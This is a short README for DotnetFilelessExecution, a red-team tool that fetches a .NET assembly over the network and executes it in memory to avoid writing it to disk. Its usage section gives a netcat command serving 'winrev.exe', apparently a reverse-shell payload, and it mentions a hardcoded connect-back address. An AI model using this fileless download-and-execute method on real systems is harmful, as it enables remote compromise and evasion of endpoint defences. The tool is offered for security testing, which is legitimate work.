DotnetFilelessExecution

Overview

DotnetFilelessExecution (DFE) is the very basic demonstration of how to fetch a .NET assembly remotely and the execute it on the client side directly in memory, i.e., without having to save the assembly on the disk.

Compilation

I have used cross compilation but of course, Visual Studio can be used.

mcs -out:DotnetFilelessExecution.exe DotnetFilelessExecution.cs

Usage

• Start a simple Netcat file sharing server, serving the .NET compiled assembly which you want to execute.

nc -nvlp 80 < winrev.exe

• Use DotnetFilelessExecution to execute it remotely in memory

.\DotnetFilelessExecution.exe

Note

For demonstration purposes, the connect back addresses is hardcoded in the source files. In order to make most of this program, please consider to change that according to your desired needs.

Disclaimer

This project is intended for educational and security testing purposes only. The author is not responsible for any misuse of this tool.

Author

Developed by Sayan Ray @BareBones90

License

This project is licensed under the MIT License - see the LICENSE file for details.